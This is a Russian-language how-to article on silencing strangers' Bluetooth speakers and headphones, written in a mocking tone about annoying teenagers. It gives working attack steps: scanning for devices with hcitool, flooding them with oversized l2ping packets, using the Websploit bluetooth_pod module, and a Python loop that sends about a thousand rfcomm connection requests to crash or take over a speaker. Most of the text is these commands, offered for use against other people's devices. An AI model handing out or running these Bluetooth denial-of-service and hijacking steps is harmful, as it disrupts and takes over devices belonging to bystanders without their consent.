На свете существует не так много вещей, которые бесят практически всех без исключения. Это весенне-осенняя слякоть, летнее отключение горячей воды и школьники с переносными Bluetooth-колонками. И если с первыми двумя стихийными бедствиями сделать практически ничего нельзя, то с третьим вполне можно бороться, причем почти без криминала. Как? Об этом и поговорим.
Если современные Wi-Fi-роутеры способны фильтровать нежелательные пакеты, то большинство адаптеров Bluetooth, мягко говоря, туповаты. Им по большому счету безразлично, какой пакет и какого объема, а уж тем более сколько этих пакетов ты пришлешь. Поэтому нам не составляет абсолютно никакого труда увеличить в Linux информационный объем пакета ping до огромного значения, а потом отослать этих пакетов на девайс с Bluetooth, скажем, 1000 штук.
Теперь по порядку. Для начала нам нужно найти подходящие устройства в зоне досягаемости. Для этого используем команду
$ hcitool scan
В результате этой нехитрой манипуляции ты получишь список доступных устройств с Bluetooth с их MAC-адреса. Если твоя система не видит адаптер Bluetooth, то я рекомендую поставить один из менеджеров Bluetooth для Linux. В Kali лично мне подошел gnome-bluetooth, который можно установить следующей командой:
$ apt-get install gnome-bluetooth
Еще можно воспользоваться утилитой blueman:
$ apt-get install blueman
Получив список потенциальных жертв, можно расправиться с их синезубыми девайсами несколькими способами. Рассмотрим каждый по отдельности.
Первый способ: l2ping
Воспользуемся такой командой:
$ l2ping -i hci0 -s <packet value> -f <MAC_address>
Она сгенерирует пакеты указанного тобой в параметре <packet value> объема и будет отсылать эти пакеты на MAC-адрес, записанный в качестве параметра <MAC_address>. В конце концов ты увидишь такую картину: в терминале время отклика будет постепенно увеличиваться, а на атакуемом устройстве, скорее всего, просто отключится Bluetooth. Через какое-то время он все равно включится, но музыка прервется, и некоторое удовлетворение будет получено.
Такая схема очень хорошо работает, когда атакуемое устройство (к примеру, телефон) подключено к гарнитуре или колонке по Bluetooth. После атаки эти два устройства не смогут соединиться друг с другом.
Второй способ: Websploit
Существует более элегантный и удобный способ заглушить колонку, из которой доносятся жизнерадостные звуки рэпа. Запускаем утилиту Websploit:
$ websploit
Набираем в консоли команду
$ show modules
Она продемонстрирует нам все модули, которые работают с этой утилитой. Там есть множество компонентов, работающих с Wi-Fi, но нас интересует конкретно модуль bluetooth/bluetooth_pod:
$ use bluetooth/bluetooth_pod
Теперь нужно настроить все параметры и указать сведения об атакуемом устройстве:
$ show options
$ set bdaddr <MAC_address>
Чтобы точно и наверняка угробить Bluetooth, мы изменим размер отсылаемого пакета:
$ set size 999
Все подготовительные действия завершены, можем запускать нашу «машину для убийств»:
$ run
На выходе мы увидим абсолютно похожую картину: пинги становятся дольше, а музыка прерывается. Красота!
Эти два способа будут работать практически с любыми блютусными колонками, гарнитурами и прочими похожими устройствами. Просто потому, что производители не выпускают для них новые прошивки, способные фильтровать входящие пакеты. Так что, если у тебя есть ноутбук с «Линуксом» на борту, ты точно можешь назвать себя грозой портативных колонок.
Если колонка справляется с атакой, можно попробовать отправить пакеты на сам телефон, к которому она подключена. Лично я тестировал этот метод на довольно мощной портативной колонке (JBL Xtreme), и она более-менее справлялась с нагрузкой. Но дешевые китайские поделки такая атака вырубает на раз.
Про готовые джаммеры
В интернете продаются любопытные товары, среди которых можно найти и глушилки частот. Стоят они обычно приличных денег и предоставляют разные возможности. Одни могут валить практически все сигналы мобильной сети, Wi-Fi и Bluetooth разом, а другие не справятся и с H+.
Если ты считаешь, что тебе действительно необходим подобный товар, то перед его приобретением настоятельно рекомендую ознакомиться с действующим законодательством. В России покупать и продавать глушилки не запрещено, однако если ты решишь воспользоваться ей, то необходима регистрация устройства в ГКРЧ. Если тебя поймают на использовании незарегистрированного девайса, то, скорее всего, оштрафуют по статье 13.4 КоАП РФ. Штраф для физических лиц на сегодняшний день составляет 500 рублей, для юридических — до 10 тысяч.
Подключаемся к чужому девайсу
Как мы уже знаем, примитивные колонки и гарнитуры почти никогда не фильтруют пакеты, которые мы им отправляем. Но что будет, если отослать такому девайсу не просто пакет с данными для проверки связи (ping), а пакет с запросом на подключение к устройству? И не один.
Не все производители подобных гарнитур позаботились о защите от переполнения буфера. Если все пакеты становятся в очередь, то что произойдет, когда складировать запросы уже будет некуда? Колонка попытается выполнить команду и при этом очистить буфер.
Поэтому мы используем стандартный протокол обмена данными по Вluetooth — rfcomm. Но так как сама утилита, контролирующая протокол, не позволит нам отправить тысячу таких запросов, мы напишем небольшой скрипт на Python, который автоматизирует процесс.
#!/usr/bin/env python
import subprocess
cmd=['rfcomm', 'connect', '<MAC_address>', '1']
for i in range(0, 1001):
subprocess.call(cmd)
print('Connecting...')
Перед запуском скрипта нам нужно узнать MAC-адрес устройства. Для этого используем уже знакомую команду hcitool scan, а полученный адрес вставляем в скрипт вместо <MAC_address>. Теперь сохраняем скрипт и запускаем его:
$ python <FileName>
Сработает скрипт или нет, зависит от модели атакуемого девайса, вернее, от скорости заполнения буфера. Если буфер успеет забиться до его очистки, то команда будет выполнена, и тогда мы подключимся к колонке одновременно с основным пользователем. Если же буфер очистится, то ничего не получится и придется перезапустить скрипт.
Если наш сценарий успешно выполнен, мы можем устроить свою дискотеку или вырубить устройство. Мои личные эксперименты с колонкой JBL Xtreme привели к ее отключению, а вот JBL Flip 2 когда-то удавалось и перехватывать (сейчас ее под рукой нет).